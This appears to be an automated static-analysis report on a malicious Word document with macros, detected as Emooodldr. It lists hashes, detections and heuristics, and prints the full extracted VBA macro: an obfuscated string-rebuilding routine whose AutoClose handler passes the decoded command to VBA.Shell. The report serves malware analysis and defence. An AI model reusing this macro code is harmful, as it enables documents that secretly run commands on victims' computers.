Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 caec6bb70c5c1ba3…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: 0afeecbcc47c0cf76c36e5b4c6412122 SHA-1: a6a231c081b7bf58316b24aa9a43bb982962958d SHA-256: caec6bb70c5c1ba33b2c0981e39b335177b3a31d9fedfd23e4c8194abdb3d6f1
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that utilizes Shell() to execute a command. The VBA code appears to be obfuscated but ultimately calls a function that reconstructs a string, which is then passed to another function that likely executes it. This behavior is consistent with a macro-based downloader, and ClamAV detection further supports this classification as 'Doc.Malware.Emooodldr-6711604-0'.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2083 bytes
SHA-256: 521591af8e77fac69add8865cee2d94b2bdee7938f7b6f0b9f2fc9f1a9464a3c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function arciform(reamputation)
  inphase = Array("Z", "O", "E", "7", "X", "d", "a", "F", "K", "", "z", "h", "5", "v", "8", "q", "g", "l", "J", "D", "w", "j", "i", "x", "B", "2")
  kludgy = Array("w", "U", "x", "m", "u", " ", "h", "=", ".", "n", "O", "s", "q", "e", "a", "t", "p", "c", "d", "i", ":", "g", "j", "?", "o", "/")
  
  urediospores = vbNullString
  
  For Each shiftable In reamputation
    foreconceive = Application.Run("confessant", shiftable, inphase)
    If foreconceive > -1 And foreconceive < 99212 Then
    urediospores = kludgy(foreconceive) + urediospores
    End If
  Next
  
  arciform = StrReverse(urediospores)
  
End Function

Public Function confessant(marbled, baronage)

  hourglass = 81818
  senator = -1
  For Each sloughiest In baronage
    If sloughiest = marbled Then
     hourglass = senator
     Exit For
    End If

    senator = senator + 1
    
  Next

  
  If hourglass = 81818 Then
    hourglass = -1
  End If


  confessant = hourglass + 1
End Function




Sub AutoClose()
  reamputation = Array("7", "h", "a", "q", "8", "K", "v", "E", "v", "d", "a", "q", "q", "g", "w", "2", "2", "i", "a", "D", "i", "J", "5", "Z", "X", "j", "a", "8", "h", "", "J", "8", "h", "v", "5", "Z", "K", "l", "B", "7", "2", "z", "O", "2", "h", "7", "D", "E", "K", "g", "a", "g", "x", "X", "q", "7", "8", "F", "", "", "D", "D", "D")
  overalls = arciform(reamputation)
  
  Application.Run "discant", (overalls)
  
End Sub


Private Sub discant(malodorous)
   
   morale = 69172
   furring = True
   
   While furring
     underfurnisher = morale + 91723
     If underfurnisher - morale > 297 Then
       VBA.Shell malodorous, vbNormalFocus - 1
       furring = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: f155719bf4a8bf7a0c0134fe27131a3265a446d2567530efafe1ed7b4ee8c608
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.